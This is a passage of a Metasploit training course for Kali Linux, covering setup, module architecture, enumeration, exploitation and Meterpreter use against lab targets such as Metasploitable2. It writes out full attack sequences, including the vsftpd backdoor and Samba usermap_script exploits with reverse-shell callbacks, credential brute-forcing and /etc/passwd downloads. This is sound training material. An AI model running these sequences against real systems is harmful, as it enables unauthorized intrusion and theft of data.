

OFFENSIVE SECURITY TRAINING SERIES

METASPLOIT MASTERY

From Zero to Professional Penetration Tester

A Complete, Hands-On Ethical Hacking Course for Kali Linux

```
root@kali:~$ msfconsole  
[*] Starting the Metasploit Framework console...  
msf6 > workspace -a metasploit-mastery
```

Compiled for Oscar Opemba | oxghostx

Edition 2026 · Kali Linux · Metasploit Framework 6.x

For authorized lab, CTF, and certification-preparation use only.

Interview Questions and Answers	61
Certification Preparation Guidance	62
Resources and Final Assessments	63
Best Books	63
Best YouTube Channels	63
Best GitHub Repositories	63
Best Blogs	64
Best Practice Labs	64
Best TryHackMe Rooms	64
Best Hack The Box Machines	64
Quizzes	64
Practical Challenges	65
OSCP-Style Exercises	65
Capstone Project	65

START HERE

How to Use This Book

Legal and Ethical Notice

Everything in this book is designed to be practiced exclusively against systems you own, systems explicitly built for practice (Metasploitable2, DVWA, OWASP Broken Web Apps, Hack The Box, TryHackMe), or systems you have **written authorization** to test. Running any of these techniques against systems without explicit permission is illegal in essentially every jurisdiction, including Kenya's Computer Misuse and Cybercrimes Act. Treat every command in this book as a lab exercise, not a template for unauthorized activity.

The labs deliberately rely on intentionally vulnerable training platforms. None of the modules, exploits, or payloads referenced here are novel — everything is a standard, publicly documented feature of the Metasploit Framework that ships on Kali by default.

Prerequisites

- Comfortable with basic Linux command line (cd, ls, grep, ssh, file permissions)
- Basic networking (IP addressing, TCP/UDP, ports, NAT vs bridged networking)
- A hypervisor: VirtualBox or VMware Workstation/Player
- Kali Linux VM (attacker)
- Metasploitable2 VM (primary intentionally-vulnerable target)
- DVWA (Damn Vulnerable Web Application), deployed either as a Docker container or on a small Linux VM
- Optional: a Windows 7/Server 2008 VM (legally owned, used purely for legacy SMB/Meterpreter labs), OWASP Broken Web Apps VM

Recommended Lab Network Topology

```
[Kali Linux - Attacker] --- Host-Only/Internal Network --- [Metasploitable2]
|
|----- Internal Network -----|--- [DVWA/OWASP BWA]
|
(later: Module 8) ---- pivot ----> [Internal-only segment, unreachable from Kali]
```

Keep this network **host-only/internal**, never bridged to your home network or the internet. This single decision prevents 90% of "accidental scope creep" mistakes.

How This Book Is Organized

This book has five parts. **Part I** (this introduction) covers the lab environment and how to use the material. **Part II** is the core ten-module curriculum — work through it in order, since later modules assume the muscle memory built in earlier ones. Every module in Part II follows the same internal structure: Objectives, Theory, Deep Technical Explanation, Practical Examples, Common Mistakes, Real-World Usage, Guided Lab, Challenge Lab, Review Questions, and Answers. **Part III** is a dedicated deep-technical reference on internals. **Part IV** holds the Metasploit, Meterpreter, and MSFVenom cheat sheets plus a professional workflow checklist. **Part V** contains the 7-day and 30-day learning plans, interview preparation, certification guidance, curated external resources, and final assessments.

A Note on Pacing

This is dense, professional-grade material. A realistic full pass — actually typing every command, not just reading — takes 30 to 50 hours. The 7-day and 30-day plans later in this book give two different paces depending on how much time is available before working competence is needed.

PART II

Core Training Modules

Ten hands-on modules, Foundations through Professional Workflow —
work through them in order.

MODULE 01

Foundations

Objectives

By the end of this module you will be able to explain what Metasploit is and where it came from, install and update it correctly on Kali, configure its PostgreSQL-backed database, navigate msfconsole fluently, and organize your work using workspaces.

Theory

Metasploit is an open-source exploitation framework originally released in 2003 by HD Moore. The earliest versions were written in Perl; the project was rewritten in Ruby for version 3.0 in 2007, which is the codebase the modern framework descends from. Rapid7 acquired the project in 2009 and has maintained both the free, open-source **Metasploit Framework** (what ships on Kali) and a commercial product, **Metasploit Pro**, which adds a GUI, reporting, and team-collaboration features on top of the same underlying engine.

At its core, Metasploit is a structured library of exploit code, payloads, and supporting utilities, plus a console (msfconsole) that lets you search, configure, and fire that code against targets in a consistent way. The value isn't that Metasploit invents new vulnerabilities — it's that it standardizes how you weaponize a known vulnerability so you don't have to hand-write a new exploit script every time.

Deep Technical Explanation

Architecture at a glance

Metasploit Framework is built in layers:

- **Rex** (Ruby Extension Library) — low-level networking, sockets, protocols, and the SSL/encoding primitives almost everything else depends on.
- **Msf::Core** — the core API: module loading, the session manager, the event system, the database layer.
- **Msf::Base** — higher-level conveniences built on Core, including the plugin system and mixins that modules use (HTTP client mixin, SMB mixin, etc.).
- **Modules tree** — the actual content: exploits, payloads, auxiliary, post, encoders, and nops, organized in `/usr/share/metasploit-framework/modules/` on Kali.
- **msfconsole** — the primary interactive interface sitting on top of all of the above. msfrpcd, msfvenom, and msfdb are separate executables that talk to the same underlying libraries.

Editions

- **Framework (free, open source)** — what you have on Kali. Command-line driven via `msfconsole`, fully scriptable.
- **Pro (commercial)** — adds a web GUI, automated workflows, social-engineering campaign tooling, and reporting aimed at consulting engagements. The module engine underneath is the same Framework code.

This course focuses entirely on Framework, since that's the version every certification (OSCP, eJPT, PNPT) and every CTF environment expects you to know cold.

Practical Examples

Checking and updating Metasploit on Kali

```
# Confirm version
msfconsole -v

# Update via apt (Kali ships Metasploit as a maintained package)
sudo apt update && sudo apt install metasploit-framework -y

# Inside msfconsole, you can also check for framework updates
msfconsole
msf6 > version
```

Expected output: a version string like `Framework: 6.x.x-dev` followed by a console version. If `msfconsole` doesn't exist at all, the apt install step above resolves it.

Initializing and checking the database

```
sudo msfdb init
sudo msfdb status
```

Expected output from `msfdb status` should show the database service running and a database user/role created. Inside `msfconsole`, confirm the console is actually connected:

```
msf6 > db_status
```

Expected output: `[*] Connected to msf database: postgresql://...` If you see `[-] No database support`, see Common Mistakes below.

msfconsole basics


```
msf6 > help                # list all console commands
msf6 > banner                # re-print the ASCII banner (harmless, good for screenshots)
msf6 > search type:exploit smb
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > show options
msf6 exploit(multi/handler) > back
msf6 > info exploit/multi/handler
msf6 > exit
```

Workspaces

```
msf6 > workspace            # list workspaces, * marks active one
msf6 > workspace -a internal-lab # create and switch to a new workspace
msf6 > workspace internal-lab  # switch to an existing workspace
msf6 > workspace -d old-lab    # delete a workspace
```

Workspaces silo your hosts, services, credentials, and loot per engagement or per lab, so a Metasploitable2 lab and a DVWA lab don't pollute each other's data.

Common Mistakes

- Forgetting to run `sudo msfdb init` after a fresh Kali install, then wondering why `hosts` and `services` return nothing.
- Running `msfconsole` with `sudo` inconsistently — sometimes as root, sometimes as your normal user — which causes it to connect to two different database configurations and "lose" data between sessions.
- Never creating workspaces, then six months later having one giant unsorted `default` workspace with unrelated labs mixed together.
- Assuming `apt upgrade` always pulls the very latest modules instantly; Kali's package sometimes lags behind the bleeding-edge GitHub `master` branch by days.

Real-World Usage

On real engagements, the very first thing a competent tester does after opening a terminal is create a workspace named after the client/engagement (`workspace -a acme-corp-2026-q2`) and confirm `db_status` is healthy, because every host, service, vulnerability, and credential discovered for the rest of the engagement gets logged automatically to that workspace — this becomes the backbone of the final report.

Guided Lab — Install, Configure, and Explore

Objective: Get a clean, database-backed Metasploit environment running and prove you can navigate it.

Setup: Kali Linux VM, internet access for `apt`.

Steps:

1. `sudo apt update && sudo apt install metasploit-framework -y`
2. `sudo msfdb init`
3. `msfconsole` — wait for the banner.
4. `db_status` — confirm connection.
5. `workspace -a m2-lab`
6. `search type:exploit platform:unix name:vsftpd`

Expected output: Step 6 should return at least one row referencing `exploit/unix/ftp/vsftpd_234_backdoor`, with a "Rank" column (e.g., Excellent).

Verification: Run `workspace` and confirm `m2-lab` is marked active with `*`.

Troubleshooting:

- `db_status` shows no database → re-run `sudo msfdb init`, then fully restart `msfconsole`.
- `search` returns nothing at all (not even unrelated results) → your modules cache may be stale; run `msf6 > reload_all` or restart `msfconsole`.

Challenge Lab

Without referring back to the steps above: create a second workspace called `dvwa-lab`, switch between `m2-lab` and `dvwa-lab` at least twice using both forms of the `workspace` command shown earlier, then use `search` to find any three auxiliary scanner modules related to SMB. Document the exact module paths you find.

Review Questions

1. What year was Metasploit originally released, and in what language was it first written?
2. What company currently maintains Metasploit, and since when?
3. What is the difference between Metasploit Framework and Metasploit Pro?
4. Which command initializes the PostgreSQL-backed database for Metasploit on Kali?
5. What is the purpose of a workspace?
6. Which `msfconsole` command shows whether the database connection is healthy?

Answers

1. 2003, originally written in Perl.
2. Rapid7, which acquired the project in 2009.
3. Framework is the free, open-source, console-driven core engine; Pro is a commercial product built on top of the same engine that adds a GUI, automation workflows, and reporting for consulting use.

4. `sudo msfdb init`.
5. To isolate the hosts, services, credentials, vulnerabilities, and loot of one engagement/lab from another inside the shared database.
6. `db_status`.

MODULE 02

Understanding Metasploit Architecture

Objectives

Understand each module type Metasploit ships, how payloads are structured internally (staged vs non-staged), what encoders and NOP generators actually do, and the high-level mechanics of how Meterpreter gets from "exploit fires" to "interactive shell on your screen."

Theory

Metasploit organizes everything into **module types**. Each type has a different job in the exploitation pipeline, and understanding the boundary between them is what separates someone who memorizes commands from someone who can reason about a new target.

Deep Technical Explanation

Exploit modules

An exploit module is Ruby code that triggers a specific vulnerability — a buffer overflow, a deserialization bug, an authentication bypass, a command injection — in order to get the target to execute attacker-supplied code or grant attacker-controlled access. Every exploit module declares a **check** method (safely tests whether the target is vulnerable, ideally without triggering the bug) and an **exploit** method (does the actual triggering). Exploits live under `modules/exploits/<platform>/<service>/`.

Payload modules

A payload is the code that actually runs once the exploit succeeds — it's the "what happens next." Payloads are organized by:

- **Singles** — self-contained, do one thing and don't call back for more code (e.g., `windows/exec`, which just runs a command).
- **Stagers** — small, reliable pieces of shellcode whose only job is to open a connection back to the attacker and download a larger second-stage payload. Small size matters because exploit primitives (especially overflow-based ones) often have a strict byte budget.
- **Stages** — the larger payload the stager downloads and executes, e.g., the full Meterpreter DLL.

Auxiliary modules

Auxiliary modules do everything that isn't "exploit a vulnerability to get code execution": port scanners, service version scanners, login brute-forcers, fuzzers, DoS modules, protocol-specific enumeration tools. They live under `modules/auxiliary/`.

Post modules

Post modules run *after* you already have a session (a shell or Meterpreter session) and perform actions on the already-compromised host: gathering system info, dumping credentials, enumerating for privilege escalation, pivoting setup. They live under `modules/post/`.

Encoders

Encoders transform the byte representation of shellcode so it avoids "bad characters" the vulnerable code path can't handle (e.g., null bytes that terminate a C string early) and, historically, to reduce the chance of trivial signature-based detection. The most well-known is `x86/shikata_ga_nai`, a polymorphic XOR additive-feedback encoder. It's important to understand that modern encoders do **not** reliably bypass modern antivirus/EDR — their real job is byte-compatibility with the exploit's constraints, not stealth.

NOP generators

NOP ("no operation") generators produce padding instructions used to build a reliable landing zone in memory for shellcode in certain overflow-style exploits (a "NOP sled"), increasing the odds that an imprecise jump still lands somewhere that eventually executes your payload.

Meterpreter architecture

Meterpreter is Metasploit's advanced, in-memory post-exploitation agent. Unlike a single-purpose payload, it's an extensible platform: a small core loads first, then loads "extensions" (stdapi for filesystem/process/network commands, priv for privilege-related actions, incognito for token manipulation, etc.) on demand over an encrypted TLV (Type-Length-Value) protocol channel back to msfconsole. Because it runs reflectively in memory rather than as a normal process written to disk, it leaves a much smaller forensic footprint than a traditional dropped executable.

Staged vs non-staged payloads

A staged payload (e.g., `windows/meterpreter/reverse_tcp`) splits delivery into a tiny stager plus a larger stage downloaded on connect — useful when the exploit's available space for shellcode is small, but it requires the stager and `multi/handler` to successfully negotiate the stage transfer, which is one more thing that can fail (especially across flaky networks or aggressive endpoint defenses). A non-staged payload (e.g., `windows/meterpreter_reverse_tcp`, note the underscore) bundles everything into one block delivered at once — larger, but simpler and more reliable when you have the space for it.

High-level exploitation workflow

1. Attacker selects exploit module that matches a known vulnerable service
2. Attacker selects a compatible payload (must match target OS/arch)
3. Attacker sets RHOSTS/RPORT (target) and LHOST/LPORT (attacker callback address)
4. exploit/run sends the crafted trigger to the vulnerable service
5. Vulnerable service's flawed code path executes attacker-supplied instructions
6. Stager (if staged) connects back to attacker's listener
7. Listener (multi/handler or the exploit's own handler) sends the stage
8. Stage (e.g., Meterpreter) loads in memory and opens a session
9. Session appears in msfconsole's session table, ready for interaction

Practical Examples

```
msf6 > search type:payload platform:windows meterpreter reverse_tcp
msf6 > info payload/windows/meterpreter/reverse_tcp
msf6 > show encoders
msf6 > show nops
```

Compare a staged and non-staged payload side by side:

```
msf6 > info payload/windows/meterpreter/reverse_tcp # staged
msf6 > info payload/windows/meterpreter_reverse_tcp # non-staged
```

Look specifically at the "Total size" difference reported for each — this is the staged/non-staged trade-off made concrete.

Common Mistakes

- Treating encoders as an "antivirus bypass button." In 2026 lab and exam environments, default `shikata_ga_nai` encoding gets flagged by any modern AV almost immediately — its purpose is byte sanitization, not evasion.
- Picking a payload architecture (x86 vs x64) that doesn't match the target process, causing a session to open and immediately die.
- Confusing a stager failing to fetch its stage (network/firewall issue) with the exploit itself failing — these produce similar-looking failures but need different troubleshooting.

Real-World Usage

Professional testers constantly reason in these layers: "this web app has a deserialization bug (exploit), I need a payload small enough to fit in the gadget chain (payload size matters), and once I land I want full post-exploitation tooling (Meterpreter), but the corporate EDR is aggressive, so maybe a non-meterpreter single payload that does one quiet thing is safer for this step." That reasoning only works if you understand the architecture, not just the commands.

Guided Lab — Comparing Module Types

Objective: Build a mental map of the five core module types by inspecting real ones.

Steps:

1. `search type:auxiliary smb` — note how many results, scan the names.
2. `search type:post windows gather` — note the naming pattern `post/windows/gather/....`
3. `info auxiliary/scanner/portscan/tcp` — read the full description and options.
4. `info post/multi/gather/env` — compare its "Description" field to the auxiliary module's.

Expected output: You should be able to articulate, in your own words, why `portscan/tcp` is auxiliary (it doesn't exploit anything, it just gathers information) while `gather/env` is post (it requires an existing session).

Verification: Explain out loud (or write down) the difference between auxiliary and post in one sentence each, without looking back at this file.

Troubleshooting: If `search` feels slow, run `db_status` first — without a working database, Metasploit falls back to a much slower in-memory search index.

Challenge Lab

Find one example each of: a staged Windows Meterpreter payload, a non-staged Linux Meterpreter payload, one encoder usable for x86 shellcode, and one NOP generator. Write down all four exact module paths from memory-checked `search/show` output, no copy-pasting from this file.

Review Questions

1. What is the functional difference between a stager and a stage?
2. Why do exploit developers care about payload size at all?
3. What is the actual purpose of an encoder like `shikata_ga_nai`?
4. Why does Meterpreter load extensions on demand instead of bundling everything at once?
5. Name the five core Metasploit module types and one-sentence what each does.

Answers

1. A stager is a small, reliable piece of code whose only job is to call back and fetch a larger payload; the stage is that larger payload (e.g., full Meterpreter) which the stager downloads and executes.
2. Many exploitation primitives (buffer overflows especially) only give you a small, fixed amount of space to inject shellcode, so a smaller initial payload is more likely to fit and succeed.
3. To transform shellcode bytes so they avoid characters the vulnerable code path can't tolerate (like null bytes), not to defeat modern antivirus/EDR.

4. To keep the initial in-memory footprint small and flexible — you only load the capabilities (filesystem, privilege escalation tooling, token manipulation) you actually need for a given target.
5. Exploit (triggers a vulnerability), Payload (the code that runs after triggering), Auxiliary (scanning/enumeration/brute-force, no code execution), Post (runs after a session already exists), Encoder (transforms shellcode bytes for compatibility).

MODULE 03

Enumeration Using Metasploit

Objectives

Use Metasploit's auxiliary scanner modules to perform host discovery, port scanning, service/version detection, and protocol-specific enumeration (SMB, FTP, SSH, HTTP, SNMP) against lab targets, and have the results automatically populate the database for later use.

Theory

Enumeration is the unglamorous, decisive phase of any assessment: the more accurately you map what's running where, the more your exploitation phase becomes "selecting the right key" instead of "guessing." Metasploit's auxiliary scanner modules don't replace Nmap — they complement it, because results land directly in the Metasploit database (`hosts`, `services`, `creds` tables) where they're instantly available to every other module afterward.

Deep Technical Explanation

Host discovery

```
msf6 > db_nmap -sn 192.168.56.0/24      # ping sweep, populates `hosts`  
msf6 > hosts                            # review what was found
```

`db_nmap` runs a real Nmap scan but pipes the XML output straight into the Metasploit database, which is strictly better than running Nmap standalone if you're going to work inside `msfconsole` anyway.

Port scanning

```
msf6 > use auxiliary/scanner/portscan/tcp  
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.56.101  
msf6 auxiliary(scanner/portscan/tcp) > set PORTS 1-1000  
msf6 auxiliary(scanner/portscan/tcp) > set THREADS 20  
msf6 auxiliary(scanner/portscan/tcp) > run
```

Service detection and banner grabbing

Once ports are known, version-specific auxiliary modules grab banners and identify exact software versions, which is what eventually lets you match a target to an exploit module.

```
msf6 > use auxiliary/scanner/ftp/ftp_version
msf6 > use auxiliary/scanner/ssh/ssh_version
msf6 > use auxiliary/scanner/http/http_version
msf6 > use auxiliary/scanner/smb/smb_version
```

Each follows the same pattern: `set RHOSTS`, `run`, read the banner, check `services` afterward.

SMB enumeration

```
msf6 > use auxiliary/scanner/smb/smb_version
msf6 > use auxiliary/scanner/smb/smb_enumshares
msf6 > use auxiliary/scanner/smb/smb_enumusers
```

`smb_enumshares` reveals accessible shares (and whether they allow anonymous/guest access — extremely common on misconfigured legacy targets like Metasploitable2). `smb_enumusers` enumerates valid local usernames via SAM/RID-cycling style techniques, which directly feeds later credential-brute-force or password-spray steps.

FTP enumeration

```
msf6 > use auxiliary/scanner/ftp/ftp_version
msf6 > use auxiliary/scanner/ftp/anonymous
```

`anonymous` specifically checks whether the FTP service allows unauthenticated anonymous login — a classic, still-common misconfiguration.

SSH enumeration

```
msf6 > use auxiliary/scanner/ssh/ssh_version
```

Beyond banner grabbing, `auxiliary/scanner/ssh/ssh_login` (with a wordlist) tests credential pairs — useful in labs where weak/default credentials are part of the intended path (Metasploitable2's `msfadmin:msfadmin` is the canonical teaching example).

HTTP enumeration

```
msf6 > use auxiliary/scanner/http/http_version
msf6 > use auxiliary/scanner/http/dir_scanner
msf6 > use auxiliary/scanner/http/robots_txt
```

These complement (not replace) dedicated web tools like gobuster/ffuf/Burp — Metasploit's HTTP scanners are convenient when you're already living inside msfconsole and want quick coverage without context-switching tools.

SNMP enumeration

```
msf6 > use auxiliary/scanner/snmp/snmp_enum
```

SNMP, especially with default community strings (`public/private`), can leak an enormous amount: running processes, installed software, routing tables, sometimes even credentials embedded in device configs.

Practical Examples — Full Sweep Against Metasploitable2

```
msf6 > workspace -a m2-lab
msf6 > db_nmap -sV -p- 192.168.56.101
msf6 > services
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.56.101
msf6 auxiliary(scanner/smb/smb_version) > run
```

Expected output: `services` after the Nmap scan should list dozens of open ports typical of Metasploitable2 (FTP 21, SSH 22, Telnet 23, SMTP 25, DNS 53, HTTP 80, RPC 111, NetBIOS/SMB 139/445, MySQL 3306, and more). The SMB version scan should report a Samba version string consistent with the deliberately outdated build shipped on Metasploitable2.

Common Mistakes

- Running exploitation modules before enumeration is actually complete — "spray and pray" instead of matching exploit to confirmed version.
- Forgetting `set RHOSTS` (plural) on scanner modules versus `RHOST` (singular) expected by some single-target exploit modules — mismatched variable names are one of the most common "why isn't this working" moments for beginners.
- Not checking `services` and `hosts` after scans, and instead relying purely on raw console scroll-back, which gets lost as the session continues.
- Scanning too aggressively (`THREADS` very high) against fragile lab VMs, causing the target itself to crash before you even get to exploitation.

Real-World Usage

On real engagements, you'll typically run Nmap (or `db_nmap`) first for broad coverage, then selectively bring in Metasploit's protocol-specific scanners only for services that look interesting or where Nmap's default scripts

didn't give enough detail (SMB share enumeration in particular). The database becomes your single source of truth that you reference for the rest of the engagement and use to generate evidence for the report.

Guided Lab — Full Enumeration Pass

Objective: Build a complete service map of Metasploitable2 inside the Metasploit database.

Setup: Kali and Metasploitable2 on the same host-only network; confirm connectivity with `ping`.

Steps:

1. `workspace -a m2-lab`
2. `db_nmap -sV -O 192.168.56.101` (replace with your actual target IP)
3. `services -c name,port,proto,info`
4. `use auxiliary/scanner/ftp/anonymous` → set RHOSTS → run
5. `use auxiliary/scanner/smb/smb_enumshares` → set RHOSTS → run

Expected output: Anonymous FTP should report as allowed on Metasploitable2 by design. SMB share enumeration should reveal at least one world-readable share.

Verification: `creds` and `loot` commands should reflect anything captured; `services` should now have an "info" column populated for FTP and SMB rows.

Troubleshooting: If `db_nmap` hangs, confirm the target IP is actually reachable with a plain `ping` first — a misconfigured host-only adapter is the most common cause.

Challenge Lab

Without referring back to the command list above, fully enumerate DVWA's underlying web stack (server banner, any exposed `robots.txt`, directory scan for at least three hidden paths) using only Metasploit auxiliary modules, and record the exact module path and options you used for each step.

Review Questions

1. What's the practical advantage of `db_nmap` over running Nmap directly in a separate terminal?
2. Which SMB auxiliary module specifically checks for accessible shares?
3. Why is anonymous FTP considered a misconfiguration worth flagging in a report?
4. What's the difference between `RHOST` and `RHOSTS` and why does it matter?
5. Name two pieces of information SNMP enumeration with default community strings can leak.

Answers

1. Results are written directly into the Metasploit database, so every later module and the final report can reference the same structured data instead of you re-parsing raw scan output.
2. `auxiliary/scanner/smb/smb_enumshares`.
3. It allows unauthenticated users to read (and sometimes write) files on the server, which is a common foothold for further compromise and a textbook reportable finding.
4. `RHOST` (singular) is used by modules designed for exactly one target; `RHOSTS` (plural) is used by modules that accept a range/list of targets. Setting the wrong one silently does nothing in many modules.
5. Running processes/installed software lists and routing table information (also commonly: system descriptions, sometimes embedded credentials in device configs).

MODULE 04

Exploitation

Objectives

Take confirmed enumeration data and turn it into a working session: verify a vulnerability is real before firing anything, select the right exploit and payload, configure targets correctly, and understand what a "session" actually represents.

Theory

Exploitation is the step everyone fixates on, but it's the smallest part of a competent workflow by time spent — if enumeration was done properly, exploitation is often a matter of minutes. The discipline here is verification before action: confirm the version you found actually matches a known-vulnerable range before you fire an exploit module, rather than spraying every plausible module at a target.

Deep Technical Explanation

Vulnerability verification

Cross-reference what enumeration gave you (exact service name + version) against the exploit module's documented vulnerable range using `info`:

```
msf6 > info exploit/unix/ftp/vsftpd_234_backdoor
```

Read the "Description" and check the version constraints mentioned. Metasploit modules frequently include a `check` action that safely tests applicability without triggering the exploit:

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > check
```

Selecting exploits

```
msf6 > search cve:2007-2447      # search by CVE
msf6 > search type:exploit name:samba # search by service name
msf6 > search platform:windows smb # search by platform + service
```

Configuring targets

```
msf6 exploit(...) > set RHOSTS 192.168.56.101
msf6 exploit(...) > set RPORT 21
msf6 exploit(...) > show targets          # for exploits with multiple OS/version targets
msf6 exploit(...) > set TARGET 0
```

Selecting payloads

```
msf6 exploit(...) > show payloads
msf6 exploit(...) > set PAYLOAD cmd/unix/reverse
msf6 exploit(...) > set LHOST 192.168.56.1
msf6 exploit(...) > set LPORT 4444
```

The payload's platform/architecture **must** match the target. A Windows x64 Meterpreter payload against a 32-bit process will load and crash, or simply never call back.

Running exploits and understanding sessions

```
msf6 exploit(...) > exploit
# or, to keep msfconsole free while it runs:
msf6 exploit(...) > exploit -j
msf6 > sessions -l
msf6 > sessions -i 1
```

A "session" is Metasploit's abstraction for an established, interactive channel to a compromised host — it could be a Meterpreter session, a raw command shell session, or (less commonly) other session types. Sessions persist independently of the exploit module that created them; you can background one (**Ctrl+Z** or **background**), run other modules, and return to it later with **sessions -i <id>**.

Practical Examples — Classic Metasploitable2 Foothold

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.101
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
```

Expected output: A command shell session opens, typically running as root, because this particular intentionally-vulnerable backdoor doesn't bind to a restricted user.

A second classic on the same box:

```
msf6 > use exploit/multi/samba/usermap_script
msf6 exploit(multi/samba/usermap_script) > set RHOSTS 192.168.56.101
msf6 exploit(multi/samba/usermap_script) > set PAYLOAD cmd/unix/reverse
msf6 exploit(multi/samba/usermap_script) > set LHOST 192.168.56.1
msf6 exploit(multi/samba/usermap_script) > exploit
```

Expected output: A reverse shell session connecting back to your Kali listener.

Common Mistakes

- Setting **LHOST** to the wrong network interface's IP (common with multiple VirtualBox adapters) — the exploit appears to run successfully but no callback ever arrives.
- Forgetting **set TARGET** on exploits with multiple specific OS-build targets, leaving Metasploit guessing.
- Not checking firewall/iptables state on Kali itself, which can silently drop the very callback you're waiting for.
- Treating a successful **exploit** output ("Command shell session 1 opened") as the end goal rather than the start of post-exploitation.

Real-World Usage

Professional testers almost always run **check** before **exploit** whenever a module supports it, specifically to avoid crashing a production service with a failed exploitation attempt — stability matters enormously once you're outside a disposable lab VM.

Guided Lab — From Enumeration to Session

Objective: Go end-to-end from a known service version to an interactive session on Metasploitable2.

Setup: Completed Module 3 enumeration, **services** table populated.

Steps:

1. **services -p 21** to confirm vsftpd is present and note the version string.
2. **search vsftpd** → **use exploit/unix/ftp/vsftpd_234_backdoor**.
3. **set RHOSTS <target-ip>** → **exploit**.
4. Once shell opens, run **id** and **whoami**.

Expected output: **id** should show **uid=0(root)**.

Verification: **sessions -l** should list an open shell session matching the target IP.

Troubleshooting: If the connection times out, double-check that the FTP port wasn't already left in a hung state by a previous failed connection attempt — Metasploitable2's backdoor trigger can sometimes need a

retry.

Challenge Lab

Using only `search` and `info` (no external write-ups), identify and successfully exploit the Samba `usermap_script` vulnerability on Metasploitable2 with a **reverse** payload instead of a bind payload, and document why you chose `LHOST/LPORT` the values you did, including which Kali network interface they correspond to.

Review Questions

1. Why run `check` before `exploit` when a module supports it?
2. What's the practical difference between `RHOST/RPORT` and `LHOST/LPORT`?
3. Why must payload architecture match the target process architecture?
4. What does "backgrounding" a session mean, and why is it useful?
5. Why is vulnerability verification (matching exact version) important before attempting exploitation?

Answers

1. To safely test whether the target is actually vulnerable without risking a crash or unintended side effect from firing the full exploit.
2. `RHOST(S)/RPORT` configure the target you're attacking; `LHOST/LPORT` configure where the attacker (you) should be reached for a callback connection.
3. A payload compiled/shaped for the wrong architecture either fails to execute correctly inside the target process or crashes it, even if the initial exploit trigger itself succeeded.
4. It moves an active session out of the foreground so you can keep using `msfconsole` for other modules while the session stays alive, ready to be resumed with `sessions -i <id>`.
5. Firing an exploit against a non-vulnerable or mismatched version risks crashing the service, alerting defenders, or simply wasting time on a foothold that will never succeed.

MODULE 05

Meterpreter Mastery

Objectives

Operate confidently inside a Meterpreter session: manage sessions, migrate processes, transfer files, capture screenshots, drop to a native shell, enumerate privileges, and understand (conceptually) persistence and token manipulation without weaponizing either irresponsibly.

Theory

Meterpreter is the highest-leverage tool in Metasploit's post-exploitation toolkit because it's extensible, runs in memory, and gives you a consistent command surface across very different target operating systems. Mastery here is mostly about knowing the command set well enough that you're not fumbling during a timed exam or a live engagement window.

Deep Technical Explanation

Sessions

```
msf6 > sessions -l          # list all sessions
msf6 > sessions -i 1        # interact with session 1
meterpreter > background    # or Ctrl+Z – return to msfconsole, session stays alive
msf6 > sessions -k 1        # kill a session
```

Process migration

```
meterpreter > getpid
meterpreter > ps
meterpreter > migrate <PID>
```

Migration moves the Meterpreter agent's execution into another running process — commonly used to move from a fragile/short-lived process (e.g., the one the exploit landed in) into a stable, long-running one, improving session survivability.

File transfers

```
meterpreter > pwd
meterpreter > ls
meterpreter > download /etc/passwd ./loot/
meterpreter > upload ./tool.sh /tmp/tool.sh
```

Screenshots

```
meterpreter > screenshot
```

Only meaningful on a target with an active GUI session; captures the current desktop to your local machine — useful evidence for reporting.

Shell access

```
meterpreter > shell                # drop to a native OS shell inside the session
exit                               # return to meterpreter
meterpreter > execute -f /bin/bash -i -H # alternative: spawn and interact directly
```

Privilege enumeration

```
meterpreter > getuid
meterpreter > sysinfo
meterpreter > getprivs              # Windows: list privileges the current token has
```

Persistence concepts

Metasploit ships persistence-related post modules that re-establish access after reboot. In a teaching context, the important conceptual takeaways are: persistence mechanisms typically work by registering some form of auto-start (scheduled task, service, registry run key, cron job) that re-launches a payload, and on real engagements persistence is something you only deploy with explicit client authorization and always document precisely so it can be fully removed at the end of the engagement — leaving a forgotten backdoor behind is a serious professional failure, not a minor oversight.

Token manipulation concepts

The `incognito` Meterpreter extension allows listing and impersonating Windows access tokens already present in memory on a compromised host (e.g., tokens from other logged-in users/services), which can grant the equivalent of borrowing another account's identity without ever needing that account's actual password. Conceptually this matters because Windows access control is fundamentally token-based — understanding that is more valuable long-term than memorizing the exact command syntax.

Practical Examples

```
meterpreter > sysinfo
meterpreter > getuid
meterpreter > ps
meterpreter > migrate 1234
meterpreter > getuid
meterpreter > screenshot
meterpreter > download C:\\Users\\victim\\Desktop\\notes.txt ./loot/
```

Expected output: `sysinfo` reports OS, computer name, and architecture; `getuid` reports the current effective user context, which should remain stable (or improve) after a successful migration.

Common Mistakes

- Migrating into a 32-bit process from a 64-bit Meterpreter session (or vice versa) — migration requires matching architecture, and Metasploit will refuse or error.
- Running noisy enumeration commands immediately after landing instead of first checking `getuid` and `sysinfo` to understand what you're actually working with.
- Forgetting that `download/upload` paths use forward slashes locally even when the remote target is Windows (which uses backslashes) — mixing this up is a frequent source of "file not found" confusion.
- Treating persistence as something to casually demonstrate in every lab without explicitly documenting and removing it afterward.

Real-World Usage

In a real engagement, the first 60 seconds inside a fresh Meterpreter session almost always look the same regardless of target OS: `sysinfo`, `getuid`, `ps`, then a decision about whether to migrate immediately (often yes, if the landing process is something fragile like a browser plugin or a short-lived service worker).

Guided Lab — Meterpreter Fundamentals on Metasploitable2

Objective: Practice the core Meterpreter command set on a Linux Meterpreter session.

Setup: Use any working exploit from Module 4 that yields a shell, then upgrade it:

```
msf6 > sessions -l
msf6 > use post/multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > set SESSION 1
msf6 post(multi/manage/shell_to_meterpreter) > run
```

Steps:

1. `sessions -l` to find the new Meterpreter session ID.
2. `sessions -i <new-id>`
3. `sysinfo, getuid, ps`
4. `download /etc/passwd ./loot/m2_passwd.txt`

Expected output: A local file `m2_passwd.txt` appears containing the target's `/etc/passwd` contents.

Verification: `cat ./loot/m2_passwd.txt` locally on Kali should show real Metasploitable2 user entries.

Troubleshooting: If `shell_to_meterpreter` fails, confirm `LHOST/LPORT` for the new listener match an interface actually reachable from the target.

Challenge Lab

